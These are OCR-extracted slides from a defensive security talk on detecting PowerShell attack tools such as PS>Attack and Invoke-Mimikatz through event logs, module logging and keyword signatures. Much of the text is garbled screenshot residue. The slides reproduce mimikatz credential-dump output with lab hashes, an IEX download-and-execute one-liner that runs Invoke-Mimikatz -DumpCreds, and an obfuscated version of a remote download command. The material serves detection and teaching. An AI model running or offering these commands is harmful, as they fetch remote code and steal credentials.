Code Execution
File Tools
Network

[ B e T s T s B e T |
HOK K K K ¥
e et ed ] e el

Get-Attack Examples:
[*] get-attack netcat
[*] get-attack passwords
[*

] get-attack smb Sean Metcalf (@Pyrotek3)

™ oem oom om v roman L o] o m mdede o o=l v rmer v remopmede e om e e r A rmar  owmemuam o A o e amoamoom o b omow e e e om e o v e b [P D I PR B



C:\Temp\PSAttack #> invoke-mimikatz

LR mimikatz 2.0 alpha (x64) release "Kiwi en C" (Dec 14 2015 19:16:34)
RN HE.
Ht [\ ## [** *
## \ / ## Benjamin DELPY “gentilkiwi™ ( benjamin@gentilkiwi.com )
"## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo0)
‘HHEE with 17 modules * * */

e Task M
mimikatz(powershell) # sekurlsa::logonpasswords ask vianager

File Options View
Authentication Id : @ ; 947799 (00000000 :000e7657)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : ©3/05/2016 21:09:04
SID : $-1-5-90-0-3 1 Task Manager
LY
[00000003] Primary

Processes Performance App history Start-up Users Details Services

Windows Command Processor

* Username : ADSOWKWIN1O$% . Windows Explorer
* Domain : ADSECLAB9
Flags : I6B/NO1/LB0O/SO1 e T e ¢4
Backqground processes ‘
£ NTLM . 2118de886ecPeed6c96538760d0b30a2 [t Mt
- = ol =P - - - E L el )
SHA1 : 46b463c2c9741t112e80dba287646ad7e0 =3 Host Process for Windows Tasks
tspkg
wdigest : ¢ Microsoft Windows Search Inde...
Username : ADSOWKWIN186$
¥ Domain - ADSECLAB® 5| Microsoft® Volume Shadow Co...
Password : (null)

's-| RDP Clipboard Monitor

kerberos



PS Constrained Lanqguage Mode?

EX Administrator; Windows PowerShell

PS C:\> _

PS C:\> $PSversionTable

Name value

N | %8 Windows Task Manager

PSVersion _ 5.0.10586.117 e Optows Tew T _
Psgom pat 1 I?'l evVersions {l . 0 : 2 . 0 , 3 . 0 ! 4 . O L } Applications | Processes | Services | Performance | Metworking | Users
Buildversion 10.0.10586.117 S — N P E— —
CLRVersion _ 4.0.30319.18063 sudio OCAL.. D0
wsManstackversion 3.0 - e | o0
PSRemotingProtocolversion 2.3 e |swsEm | oo
Serializationversion 1.1.0.1 STEM 0

PS C:\> $ExecutionContext.SessionState.LanguageMode . _f” i
constrainedLanguage e S

PS C:\> e sinis... 00

C:\Temp #> invoke-mimikatz

#ﬁﬁf#ﬁﬁ mimikatz 2.0 alpha (x64) release "Kiwi en C" (Dec 14 20 - TWO. . ﬂ
i}# PN #i} SE X ¥ vl ]
#i N s H# Benjamin DELPY ‘gentilkiwi' ( benjamin@gentilkiwi.com v .o 0o
Y#R v #P http://blog.gentilkiwi.com/mimikatz (ce.eo i 0o

i ¥ FE with 17 modules % % x ..o




PowerShell v5 Security Log Data?

| LanguagePackSetup Sl Operational

Mumber of events; 0

1 Ls8,

| MCT

Date and Time Source EwventID Task Cate qory

| MemoryDiagnostics-Results

| MEPaint

Lwocess Protection

C:NTemp #> invoke-mimikatz

#§#£#§# mimikatz 2.0 alpha (x64) release "Kiwi en C" (Dec 14 2015 19: 16: 3¢
/N H#R /% % %
#iE N s O#HE Benjamin DELPY ‘gentilkiwi® ( benjamin@gentilkiwi.com )

‘## v #W° http://blog.gentilkiwi.com/mimikatz (oe.eo)

i with 17 modules ¥ ¥ %/

mimikatz({powershell) # sekurlsa::logonpasswords

Authentication Id : @ ; 147414 (20200000 : DRDZ23f dE)
Session : Remotelnteractive from 2
User Name : administrator
Domain : ADSECLABG
Logon Serwver : ADS@DCA1l
Time : S5/15/2016 8:57:33 PM
: S-1-5-21-186993273-1316126705-865754954-500

@E@E3] Primary

ername : Administrator

ain : ADSECLAB®
O6ae23%ae 1f 8f 186a205b6863a3c955f

M ]
1 : Bf 3ecc3981edbcb360ccS54f 2f f 6867368b650A8
AAAAT Creremrarnt i =21 e we

3
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Windows PowerShell MNumber of events: 9

Lewel Date and Tirne SOLFCe EventID Task Category

1 Information 51572016 9:20:19 PR Powvershell (Powershell) Engine Lifecycle

@Infnrmatinn 5/15/2016 9:20:19 PM PowverShell (Pouwershell) 600 Prowvider Lifecycle
@Infnrmatinn 341572016 9:20:19 PK Powershell (PowerShell) 600 Prowvider Lifecycle
@Infnrmatinn 5/15/2016 9:20:19 PM PowverShell (Pouwershell) 600 Prowvider Lifecycle
@Infnrmatinn 541542016 9:20:19 PK Powvershell (Powershell) 600 Prowider Lifecycle
@Infnrmatinn 5/15/2016 9:20:19 PM PowverShell (Pouwershell) 600 Prowvider Lifecycle
@Infurmatinn 5/15/2016 9:20:19 PhA Pouvershell (Powershell) 600 Prowvider Lifecycle
@Infnrmatinn 5/15/2016 9:20:19 PM PowverShell (Pouwershell) 600 Prowvider Lifecycle
@Infnrmatinn 31542016 9:20:19 PK Powvershell (Powershell) 600 Prowvider Lifecycle
Ewvent 400, PowerZhell (Powershell) Sean Metcalf (@Pyrotek3)

General | Details

Engine state i1z changed from Mone to Awvailable,

Details:
MewEnginestate=Swvailable
PreviousEnginestate=Mane

sequenceMurmber=1

HostMame=P5 ATTACKI!N

HostWersion=3.0.0.0
Hostld=c574b829-T180-43ch-9904-72e1bb2c 3653
Engineversion=2.0
Runspaceld=e1725fc9-6e72-4213-bd38-1baefad 928
Pipelineld=

CommandMarme=




Shell

2009

PowerShell
201

Appinfo

AppMgmt

AppReadine

Micro

Corporation.

Adobe Genuine

App

Readine

Windows Auc

All

>

rights reserved

Gateway

Service

Service (AppXSVC)

"y vy
ParentalControls

Partition

PerceptionRuntime
PerceptionSensorDataService
Policy-based QoS

PowerShell
.l Admin
Operational

PowerShell-DesiredStateConf
PrnmaryNetworkicon
PnntBRM

PrintService
Program-Compatibility-Assis
Provisioning-Diagnostics-Pro
Proximity-Common

| PushNotifications-Platform

ReadyBoost
ReadyBoostDriver
RemoteApp and Desktop Cor
RemoteAssistance
RemoteDesktopServices-Rdp!
RemoteDesktopServices-Rem
RemoteDesktopServices-Sess
Remotefs-Rdbss
Resource-Exhaustion-Detectc
Resource-Exhaustion-Resolve
RestartManager

RetailDemo
RRAS-AGILEVPN-Provider
RRAS-Provider

ScmBus

SemDisk0101
Security-Audit-Configuration
Security-EnterpriseData-FileR
Security-ExchangeActiveSync
Security-|dentityListener
Security-Kerberos
Secunity-Netlogon
Security-SPP-UX-GenuineCer
Security-SPP-UX-Notification

Corigepe Lleauf™ mmemmblfnpfomy

Level Date and Time

i )Information 10/18/2016 10:57:47 PM
i ) Information )57

& Verbose 10/18/2016 10:57:47 PM

(i) Information 10/18/2016 10:57:47 PM
i ' Information 10/18/2016 11:11:55 PM
i ) Information 10/18/2016 11:11:55 PM
i ) Information 10/18/2016 11:11:35 PM
&) Verbose 10/18/2016 11:11:55 PM
i) Information 10/18/2016 11:11:55 PM
i) Information 10 11:55PM
i ) Information 10 111:57 PM
&8 Verbose 10/18/2016 11:11:57 PM
i) Information 10/18/2016 11:11:58 PM
<

Sourci
Power
Power
Power
Power
Power
Power
Power
Power
Power
Power
Power
Power

Powet

Event 4103, PowerShell (Microsoft-Windows-PowerShell)

General Details

{Commandinvocation(Get-Service): "Get-Service”

{Context:

Severity = Informational

Host Name = ConsoleMost

Host Version = 5.1,14393.200

Host ID = c971f117-f3ab-46b3-87bb-2416d2220644d
Host Application = powershell

Engine Version = 5.1,14393.206

Runspace ID = 273fd403-cB9f-4ed7-8F77-217eb5bedtab
PipelineID=56

Command Name = Get-Service

Command Type = Cmdlet

Script Name =

Command Path =

Sequence Number = 22

Log Name: Microsoft-Windows-PowerShell/Operational
Source: PowerShell (Microsoft-Wind Logged:
Event 10 4103

Levek Information Keywords:

1

0/18/2016 11:11:58 PM
Task Category: Executing Pipeline

None



Detecting/Mitigating PS>Attack

And other Applications (EXESs) hosting PowerShell




Time ...

a:54:4
2044
LT N
2844
2544
2844
2544
a:54:4
2544
LT N
2844
2544
2844
2544
a2:54:4.
2544
a:54:4
2044
2544
2844
2544
a2:54:4.
2544
a:54:4
2044
LT N
2844
2544
a2:54:4.
2544
a:54:4
2044
LT N
2844
2544
2844
2544
a:54:4
2544
LT N
2844
2544
2844

™. 4 4

Process Mame

PSattack. exe
FPSattack. exe
PSattack. exe
PSattack. exe
FSattack. exe
PSattack. exe
FSattack. exe
PSattack. exe
FSattack. exe
PSattack. exe
PSattack. exe
FSattack. exe
PSattack. exe
FSattack. exe
PSattack. exe
FSattack. exe
PSattack. exe
FPSattack. exe
FSattack. exe
PSattack. exe
FSattack. exe
PSattack. exe
FSattack. exe
PSattack. exe
FPSattack. exe
PSattack. exe
PSattack. exe
FSattack. exe
PSattack. exe
FSattack. exe
PSattack. exe
FPSattack. exe
PSattack. exe
PSattack. exe
FSattack. exe
PSattack. exe
FSattack. exe
PSattack. exe
FSattack. exe
PSattack. exe
PSattack. exe
FSattack. exe
PSattack. exe

| Tl .Y T

FID'  Operation Fath

3400 ﬂ CuernFilelntern... C:\Windows\Microzoft ME TAFramework B4

3400 31 FileSpstemControl C: \Wwindows \Microzoft ME TSFramework B4

3400 31 ClozeFile C:vwindoawszhMicrozoft MET\Framework B4

3400 3}. CreatefFils C:vwindowshMicrosoft NET\FrameworkB4w2.0.507 27

3400 Bk SetBasicinform... C:\Wwindows'Micrasoft NET\Framewaork G442 0.50727

2400 3}. CluenFilelntern... C:AWindows\Microzoft MET \FrameworkBd 2 050727

2400 31 FileSyztemCaontrol C: \windowss\Microgoft ME T \Framework 642 0 50727

3400 ﬂ ClozeFile C:vwindowszhMicrozoft MET\FrameworkB4'w2. 0.507 27

3400 31 CreateFils C:WwfindowshMicrozoft NE T FrameworkB4yw2 0.507 27 CONFIG

3400 31 SetBazicinform... C:\Windows\Microzaft ME T \FrameworkB45w2 0. 507 2. COMFIG

3400 3}. CluenFilelntern... C:Awindows\Microzoft MET \Framework B4 2 0507 27ACOMNFIG

3400 Bk FileSystemCantral C: YwindawssMicrasoft MNE T\Framewark 6442 0.507 2P COMFIG

2400 3}. ClozeFile C:vwindowshMicrozoft NE T FrameworkB4w2, 0,507 27 COMNFIG

2400 31 CreateFile C:\windowzhhicrozoft WE TWFrameworkB4ye4. 0303719

3400 ﬁn SetBazicinform... C:\Windowss\Microzoft ME TAFramework B4hw4.0.30313

3400 31 CuenFilelnterm... C:\Wwindowss\Microgoft NET \FrameworkB4'»4.0 30315

3400 ﬂ FileSpztermControl C:\Windows\Microzoft ME T\Framework 454030313

3400 31 ClozeFile C:vwindowssMicrozoft NET\FrameworkB4'»4.0.230319

3400 Bk CreateFile C:\windowszh S pstem32

3400 3}. SetBazicinform... C:\windows\System32

2400 31 QuerFilelntern... C:\WwWindowshSystem32

3400 ﬁn FileSpztermControl C:\Windowss S petem 32

3400 31 ClozeFile C:WwiindowshSpetem 32

3400 ﬂ CreateFils C:WwindowszhS petem 3z2hen-US

3400 31 SetBazicinform... C:\windowshSystem32yen-US

3400 31 CluenFilelntern... C:AWindowshSpstem 324en-1S

3400 3}. FileSpztemControlC: \windowsh S pstem32yen-LUS

3400 Bk CloseFile C:\windawzhSystem 32en-5S

3400 ﬁn CreateFils C:WwindowshS petem 324 wWindowsz P overs hell

2400 31 SetBazicinform... C:\windowssSystem32WWWindowsPowerS hell

3400 ﬂ CuerFilelntern... C:AWindowssS petemZ23WindowsP owerS hell

3400 31 FileSpstemControlC: \windowss S pstem 323w indowsP owerS hell

3400 31 ClozeFile C:vwindowszhS pztem 324 windowz P owers hell

3400 3}. CreatefFils C:vwindowshS petem 32y windowsPowerS hellw1.0

3400 Bk SetBasicinform... C:\WwindowshSystem324WwWindawsPawerS helly .0

2400 3}. CluenFilelntern... C:AWindowzhSystem 32WWindowsPowerShellh1.0

2400 31 FileSystermCaontrol C: \windowzh S ystem 323WWWindowsPowerShellhy1.0

3400 ﬂ ClozeFile C:WwindowszhS patem 32YWindowsPowerS hellvw1.0

3400 BEreateFile C:Wwfindowshmingsshamdsd_microzaoft wo80 crt_1fc8b3b9ale13e35b_8.0.50727.4340_none_B88df39352Faf 006
3400 31 SetBazicinform... C:\Windowswwinzsshamdsd_microzoft wcB0 ort_1fcBb3b3a1e18e3b_8.0.50727.4340_none_38di39332faf0biG
3400 r—_:lDueryFilelntern... C:\windowzhmingssamdBd_microgoft w80, ort_1fc8b3b9a1e1823b 8.0.50727 4940 none_23dr39932faf0bfE
3400 Bk FileSystemContral C: Ywindowswinswshamdsd_microsoft vl ont_1feBb3b9a1e18:30_8.0.50727.4340_none_B5dF39932faf 0I5
2400 gtDDSEF“E C:vwindowshwingsshamded_microzaoft o0 ort_1fc8b3b9ale13e3b_8.0.50727.4340_none_88df399352Faf 00

~gm— R -~ =y e i e oanoan

Result

SUCCESS
EMD OF FILE
SUCCESS
SUCCESS
SUCCESS
SUCCESS
EMD OF FILE
SUCCESS
SUCCESS
SUCCESS
SUCCESS
EWD OF FILE
SUCCESS
SUCCESS
SUCCESS
SUCCESS
END OF FILE
SUCCESS
SUCCESS
SUCCESS
SUCCESS
EMD OF FILE
SUCCESS
SUCCESS
SUCCESS
SUCCESS
EMD OF FILE
SUCCESS
SUCCESS

ACCESS DEMIED

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
EMD OF FILE
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

il B eyl

Detal

[ndexMumber: 0x1 0000000007
Control: FSCTL_FILE_PREFETCH

Desired Access: Fead DataLizt Directony, Synchr
CreationTime: -1, LasthocessTime: -1, LazfwfriteTi
[ndext urmber, 0x1000000000200
Contral: FSCTL_FILE_PREFETCH

Desired Access: Read DataList Directony, Synchr
CreationTime: -1, LazstbocessTime: -1, LaztwfiteTi
[ndext urmber, 0x1000000000216
Cantral: FSCTL_FILE_PREFETCH

Desired Access: Read DatalLizt Directan, Synchr
CreationTime: -1, LaztbocessTime: -1, LaztwiteTi
[ndext urmber: 0230000000075

Cantral: FSCTL_FILE_PREFETCH

Desired Access: Read Data/Lizt Directam, Synchr
CreationTime: -1, LasthooessTime: -1, LastwiiteTi
Indext umber: 0x100000000030d
Contral: FSCTL_FILE_PREFETCH

Desired Access: Read DataLizt Directory, Spnchr
CreationTime: -1, LazthooeseTime: -1, LazbwiiteTi
Irdexuriber: 01 000000000bdE
Contral: FSCTL_FILE_PREFETCH

Desired Access: Read Data/Lizt Directony, Spnchr
CreationTime: -1, LasthocoessTime: -1, LasfadriteTi
IndexMurmber: 0:1000000000417

Contral: FSCTL_FILE_PREFETCH

Desired Access: Fead DataLizt Directony, Synchr
CreationTime: -1, LasthocessTime: -1, LazfwfriteTi
[ndextumber, 0x1000000000412
Contral: FSCTL_FILE_PREFETCH

Desired Access: Read DataList Directony, Synchr
CreationTime: -1, LazstbocessTime: -1, LaztwfiteTi
Indexturmber, 0x1000000002255
Cantral: FSCTL_FILE_PREFETCH



Detecting/Mitigating PS>Attack

ADiscover PowerShell in netandard processes.
AGett NP OS aa Y 2Muadabemant. Autbraliop & F

"o

PS C:\> get-process | Where {$_.modules -like "*System.Management.Automation*"} |
Select name,id,modules

Name Id Modules

powershell 888 {System.Diagnostics.ProcessModule (powershell.exe), System.Diagn...
powershell 5056 {System.Diagnostics.ProcessModule (powershell.exe), System.Diagn...
PSAttack 1952 {System.Diagnhostics.ProcessModule (PSAttack.exe), System.Diagnos...

PS C:\> %ps[2].modules[27] | select ModuleName,FileName | ft -auto
Modu |l eName FileName

System.Management.Automation.ni.dll C:\Windows\assembly\NativeImages_v4.0.30319_..

e s\ W Can= 1D AR P e Wi sied nfl oy 4 | A [P = b Bl vin o | o d5s TR E ="



PS C:\> $ps[2].modules | where {$_.ModuleName -1like "*.d11"} | select ModuleName

ModuleName

——————————

ntdl1.dl11
MSCOREE.DLL
KERNEL32.dl11
KERNELBASE.d11
ADVAPI32.d11
msvcrt.dl]
sechost.dl]

RPCRT4.d11

System.Management.Automation.ni.d]l]

GUL3Z.0al |
USER32.d11

IMM32.DLL

MSCTF.d11

kernel.appcore.dl]

VERSION.dI 1

clr.dll

MSVCR120_CLR0400.d11

mscorlib.ni.dl]l

ole32.dl11

bcryptPrimitives.dl]l

cl rj 1t.dll Sean Metcalf (@Pyrotek3)
OLEAUT32.d11




Detecting/Mitigating PS>Attack

ARun Windows 10 with AMSI aware AV

(N / ___)_( ( ( ( ( ) |
) O O\ _ - I
| / \ \ ) | [ I R - D)
|| SN B GV I I O O 1 I PR B B W
| _| ( 2NN T D O B O B _I\ 1 \D)

PS>Attack is loading...
Decrypting: Invoke-Mimikatz

Decrypting: Invoke-GPPPassword
Decrypting: Invoke-Ninjacopy
Decrypting: VolumeShadowCopyTools
Decrypting: Invoke-PsUACme



PS>Attack is loading..

Decrypting:
Decrypting:
Decrypting:
Decrypting:
Decrypting:
Decrypting:
Decrypting:
Decrypting:
Decrypting:
Decrypting:
Decrypting:

Get- Informatlon

VolumeShadowCopyTools

PowerUp
Tater

Invoke-Ninjacopy

Out-Dnstxt

Invoke-PsUACme
dns_txt pwnage
Gupt-Backdoor

PS>Attack,
now with more AMSI Bypa

Invoke-WMICommand

Invoke-Shellcode

Sean Metcalf (@Pyrotek3)



Detecting/Mitigating PS>Attack

Event 400, PowerShell (PowerShell)

General Detajls

Engine state 1s changed frem Mone to Available,

Details:
MNewEnginestate= Available
PrevicusEngineState=Mone

SequenceMumber=9

HostMame=P5 ATTACK!!

HostVersion=3.0.0.0
Hostld=0003ddb3-f539-4132-950f-1fd4552b88493
EngineVersion=2.0
Runspaceld=1114d8el-8dad-4e33-bf32-1bloc3a3429f
Pipelineld=

CommandMame=

i rnrmmmand Tune—




ki] Windows Features — O X
Turn Windows features on or off @
To turn a feature on, select its checkbox. To turn a feature off, clear its
checkbox. A filled box means that only part of the feature is turned on.
[] Simple TCPIP services (i.e. echo, daytime etc) A
SMB 1.0/CIFS File Sharing Support
[] Telnet Client
Re m Ove ] TETP Client
[]  Unified Write Filter
Powe rS h e I I V2 [ ] Windows Identity Foundation 3.5
-] Windows PowerShell 2.0
frOI I l WI n d OWS 1( |:| Windows Process Activation Service
[ ] Windows TIFF IFilter
Work Folders Client
E® C:\WINDOWS\system32\cmd.exe — [ X

c:\>powershell -version 2

Encountered a problem reading the registry. Cannot find registry key SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine.
The Windows PowerShell 2 engine is not installed on this computer.




Detecting/Mitigating PS>Attack (Windows 10)

id| Event Properties - Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General  Detajls

Creating Scriptblock text (1 of 1)
set-executionpolicy bypass -5cope process -Force

ScriptBlock |D: ee932a%d-4af9-4132-%e2f-deabbladlad3

Path:

Log Mame: Microsoft-Windows-PowerShell/Operational

Source: PowerShell (Microsoft-Wind Logged: 13/05/2016 03:15:29

Event ID: 4104 Task Category: Execute a Rermote Command
Level: Warning Keywords: Mone

User: ADSWEWINTMadsadmin Computer: ADSWEWin10.lab.adsecurity.crg

OpCode: On create calls



id] Event Properties - Event 4100, PowerShell (Microsoft-Windows-PowerShell)

General Details

Error Message = Windows PowerShell updated your execution pelicy successfully, but the
setting is overridden by a policy defined at a more specific scope. Due to the overnide, your
shell will retain its current effective execution policy of RemoteSigned., Type "Get-
ExecutionPolicy -List" to view your execution policy settings. For more information please see
"Get-Help Set-ExecutionPolicy”,

Fully Qualified Error (D =
ExecutionPelicyOverride, Microsoft.PowerShell. Commands.SetExecutionPelicyCommand
Recommended Action = Contact your systermn administrator.

Context:
Severity = Warning
Host Mame = PS ATTACE!!
Host Version = 3.0.0.0
Host |ID = 13f4fd53-71f4-4b81-85fe-a01f253b49fc
Host Application = C\Temp\P5AttackCustom'\ PSAttack. exe
Engine Version = 3.0.10240.163284
Runspace ID = felbb7a3-b746-46cc-234b0-eddf374f5fbe
Pipeline 1D = 24
Command Mame = Set-ExecutionPolicy
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 221
User = ADSWEKWIN10Madsadmin
Connected User =
Shell ID = Microsoft.PowerShell Sean Metcalf (@Pyrotek3)




{4] Event Properties - Event 4103, PowerShell (Microsoft-Windows-PowerShell)

General Details

Command|nvocation(5et-ExecutionPolicy): "Set-ExecutionPolicy”
ParameterBinding(5et-ExecutionPolicy): name="5cope"; value="Process"
ParameterBinding(5et-ExecutionPolicy): name="Force"; value="True"
ParameterBinding(5Set-ExecutionPelicy): name="ExecutionPolicy"; value="Bypass"
TerminatingError(5et-ExecutionPelicy): "Windows PowerShell updated your execution policy
successfully, but the setting i1s overrnidden by a pelicy defined at a more specific scope. Due to
the override, your shell will retain its current effective execution pelicy of RemoteSigned. Type
"Get-ExecutionPelicy -List" to view your execution pelicy settings. For more information please
see Get-Help Set-ExecutionPolicy™.”

Context:
Severity = Informational
Host Mame = P5S ATTACK!!
Host Version = 3.0.0.0
Host ID = 13f4fd533-71f4-4b81-85fe-a01f233b4% c
Host Application = CATemp'\P5AttackCustom\PSAttack.exe
Engine Version = 5.0.10240.16384
Runspace I = felbb7a3-b746-46cc-84b0-eddf374f5fhe
Pipeline ID = 24
Command Name = Set-ExecutionPolicy
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Mumber = 223
User = ADSWEWINT0\adsadmin
Connected User =

Shell ID = Microsoft.PowerShell SERIT MG (@RI L)




14| Event Properties - Event 800, PowerShell (PowerShell)

General Details

Pipeline execution details for command line: .

Context Information:
DetailSequence=1
Detail Total=1

SequenceMumber=232

Userld=ADSWEWIN10\adsadmin

HostMName=P5 ATTACK!!

HostVersion=3.0.0.0
Hostld=15f4fd33-71f4-4b21-853fe-a01f233b4% ¢
HostApplication=CATemp'\PSAttackCustom\ PSAttack.exe
EngineVersion=>5.0.10240.16324
Runspaceld=felbb7a3-b746-46cc-34b0-eddf374f5fbe
Pipelineld=24

ScriptMame=

CommandLine=

Details:

Commandlnvocation(Qut-Default): "Out-Default”

ParameterBinding({Out-Default): name="InputObject"; value="Windows PowerShell updated

your execution policy successfully, but the setting i1s overndden by a policy defined at a more
specific scope. Due to the override, your shell will retain its current effective execution policy
of RemoteSigned. Type "Get-ExecutionPolicy -List" to view your execution policy settings. For

mare information please see "Get-Help Set-ExecutionPelicy”.

Log Mame: Windows PowerShell SEE Rl (@PYIeIEls)

—_ | o D ! R 1 I o T O M % | [ CE e Nis i ials Farets: i as el



Detecting Custom EXEs Hosting PowerShell

AEvent 800HostApplicatiomot standard Microsoft tool
(PowerShell , PowerShell 18E).

AEvent 800: Version mismatch betweEostVersior&
EngineVersioproblematic).

ASystem.Management.Automatiani.)dll hosted in noR
standard processes.

ARemember that custom EXEs can natively.Natl &
Windows APIs directly without PowerShell.
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PowerShell Module Logging

APowerShell version 3+

AEnable via Group Policy:

AComputer ConfiguratioriPolicieSAdministrative
TemplataWindows Component&Vindows PowerShell.

ALogging enhanced in PowerShell v4.
APowerShell v5 has compelling logging features.



PowerShell Module Loggingli

a Turn on Module Logging L= R X
| . Sean Metcalf (@Pyrotek3

Turn onModile togging Previous Setfing Next Setting

() Not Configured ~ Comment: Al

(® Enabled

O Disabled hd

Supported oni | At jeact Microsoft Windows 7 or Windows Server 2008 family A
v

Options: Help:

Show, and then type the moj
Wildcards are supported.

To turn on legging for one g =

! e g2

Module Names:

Medule Names: Show...

To turn on logging for the W
| core modules tvpe the follot

Value

g

R
*




PowerShell Attack Detection

ALog all PowerShell activity

Alnteresting Activity:
ANetWeb Client download.
Anvoke9 ELINB aa A2y Oleyf B PR S NA
ASEncodedCommarid -an@@ 0 3 & . e LJ & 3
ABITS activity.
AScheduled Task creation/deletion.
APowerShell Remoting\(inRM).

AMAKAA Ada | F22R adl NI X

Sean Metcalf (@Pyrotek3)



PowerShell Attack Detection: Interesting Activi
Invoke Expression (IEX)

PS C:\> IEX (New-Object Net.Web(Client).DownloadString('http://1s.gd/oeoFul’'); Invoke-Mimikatz -DumpCreds

rrrrry N e Lt B ety pha ()(64) Event 4103, PowerShell (Microsoft-Windows-PowerShell)

CHER N #E, General I Details I

BRAONE fEE X

##\ / ## Benjamin DELPY " gentilki
"#® v ##' http://blog. genti Tkiwi. cq
‘RaHRR"

ParameterBinding(Inveke-Expression): name="Cemmand"; value="Get-Process”

Context:
Severity = Informational

mimikatz(powershell) # sekurlsa::logo Host Name = ConsoleHost
Host Version = 4.0

Authentication Id : ©O : 996 (00000000 Host ID = 7b03927d-ebf2-425d-9771-464ff634f0ec

Engine Version = 4.0

SESHION : Service from 0 Runspace ID = 43921b£2-9361-49d-9cc6-bbb658231fa8

User Name : ADSDCO2% . 2
: peline ID = 64
Domain : ADSECLAB Command Name = Invoke-Expression
SID : 5-1-5-20 Command Type = Cmdlet
msv = Script Name =
[00000003] Primary Command Path =
* Username : ADSDC02$ Sequence Number = 156
* Domain - ADSECLAB User = ADSECLAB\ADSAdministrater
= NTLM - b4ab2ba6980Fcab8Fe9al Shell ID = Microsoft.PowerShell

* SHAL e8d60baf02dcb8bas5 94
tspkg : Log Name: Microsoft-Windows-PowerShell/Operational

wdigest Source: PowerShell (Microsoft-Wind | caaed: Q/28/2015 10:35:40 AM




PowerShell Attack Detection: Interesting Activi
NetWeb Client download

PS C:\> IEX (New-Object Net.Web(Client).DownloadString('http://1s.gd/oeoFul’'); Invoke-Mimikatz -DumpCreds

. BRERR . LR A R R s R O CL S A= Event 4103, PowerShell (Microsoft-Windows-PowerShell)
CERON #E
TR AN fEE % General I[)etaifsl
#8 \ / ## Benjamin DELPY “gentilkiwi ™ (

"#® v ##' http://blog. gentilkiwi.com/m — : = = = Te—
PTrT ParameterBinding(New-Object): name="TypeName"; value="Net.WebClient

mimikatz(powershell) # sekurlsa::]logonpasJNE
Severity = Infermaticonal
Authentication Id : 0 ; 996 (00000000 :000( Host Name = Windows PowerShell ISE Host
Session : Service from 0 Host Version = 4.0
User Name : ADSDCO2$ Host ID = 0708ca48-d7bf-4465-870e-9a0e5298b6ef
Domain : ADSECLAB Engine Version = 4.0
SID : 5=-1-5-20 Runspace ID = 13664161-5623-4288-24f8-7d385dcaalcb
msv : PipelineID = 71
[00000003] Primary Command Name = New-Object
* Username : ADSDCO02$ Command Type = Cmdlet
* Domain : ADSECLAB Script Name =
= NTLM : b4ab2ba6980feab8fe9ad0d3 Command Path =
* SHAL : e8d60baf02dcb8ba8598bc5
tspkg
wdigest :

Log Name: Microsoft-Windows-PowerShell/Operational



Detect InvokeMimikatZ?
Keywords:
Admimikatz
Acgentilkiwi

AQ 'L ' Mrﬂl kStZ
= ~ Replace

Find what: Mimikatz

Replace with: Kitikatz

[ ] Match case [ | Whole word

| | Search up || Regular expressions
Find in selection

Sean Metcalf (@Pyrotek3)

[= 5

Find Next

Replace

Replace All

Cancel




Detecting InvokéMimikatz Event Log Keywords
AdChY9buywt wL+L[ 9D9{

Ad{ 9Ot wL+L[ 9D9yY9b! . [ 9546
AdSystem.Reflection.AssemblyNagne

AdSystem.Reflection.Emit. AssemblyBuilderAccess
AdSystem.Runtime.InteropServices.MarshalAsAttriBute

PS C:\> $0PSIndicator = ’TOKEN_PRIUILEGES’
PS C:\> Get—WinEvent —LogName "Microsoft-Windows—PowerShell/Operational® * |
;; Where { $_.Message —like "»*$0PSIndicatorx" >

ProviderName: Microsoft—-UWindows—PowerShell

TimeCreated LevelDisplayName Message

Information ParameterBinding{(Add—Member): name="MemberType"’

Information ParameterBinding{Add—Membher): name="MemberType"

- Information ParameterBinding{Add—Memberd: name="MemberType"

2,22/2015 2:87: 50 PM Information ParameterBinding{(Add—Member)>: name="MembherType"

Sean Metcalf (@Pyrotek3)




Offensive PowerShell Detection in PS Logs

Ainvoke TokenManipulation
AbehyYobuyLat Ow{ hb! ¢9¢
AAehYObuys!t[L/! ¢COE
AAechYObuy! 5W! { ¢t wL+xL[ 9D9{ ¢
Ainvoke Credentiallnjection
AbehY9Obuyt wL+L[ 9D9{ ¢
AdGetDelegateForFunctionPointer

AinvokeDLLInjection
AdSystem.Reflection.AssemblyNafne
AdSystem.Reflection.Emit.AssemblyBuilderAcgess
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InvokeODbfuscation PowerShell Module

AWritten by Blueteamer Daniel Bohannon.
AHighlights gaps in finding offensive PowerShell code.

PS C:\> Import-mModule C:\Temp\Invoke-oObfuscationvl.2\Invoke-oObfuscation.psml

| |
¥

validating necessary commands are loaded into current PowerShell session.

Function Loaded :: out-obfuscatedTokenCommand
Function Loaded :: out-oObfuscatedsStringCommand
Function Loaded :: out-EncodedAsciiCommand
Function Loaded :: out-EncodedHexCommand
Function Loaded :: out-Encodedoctalcommand
Function Loaded :: oOut-EncodedBinaryCommand
Function Loaded :: Out-SecureStringCommand
Function Loaded :: out-PowersShellLauncher
Function Loaded :: Invoke-oObfuscation

|::.
|:=
|::.
|::.
|:=
|:=
|:=
|::
|:=

T wORF W W W OR OWH W W :
| I— | NN |y S ) SN S S S— ) S—  S—" —— | M-

| |
¥

All modules loaded and ready to run Invoke-obfuscation




What's Old Is New: Encoding/Decoding with PS 1.C

* So what are hackers actually using to obfuscate their PowerShell activity?

* PowerShell's -EncodedCommand

> B
* -EncodedCommand * -Encode

* -EncodedComman * -Encod

* -EncodedComma ¢ Enco

* -EncodedComm ¢ -Enc

* -EncodedCom * -En

* -EncodedCo * .t

* -Encoded(C

o JEniailed PowerShell auto-appends * to flags

Daniel Bohannon dberbyCorb (2016)



Standard Command

Invoke Expression (Nevdbject
Net.WebClientDownloadStringhttp://bit.ly/L3g1t’)

Daniel Bohannon dberbyCorb (2016)



Standard CommandObfuscated

Invoke Expression (Nevbject
Net.WebClientDownloadStringhttp://bit.ly/L3g1t’)

&("I"+ "nv' +"OK"+&-EXPreSsh" ) (&( "newO"+

"BJ"+"Ect") (‘Net' + We'+'bClient' ) ).( 'dOWnIO'

+'aDS'+'TrinG").Invoke( (‘http://bi'+'t.ly/'+'L3" +'g1t'))
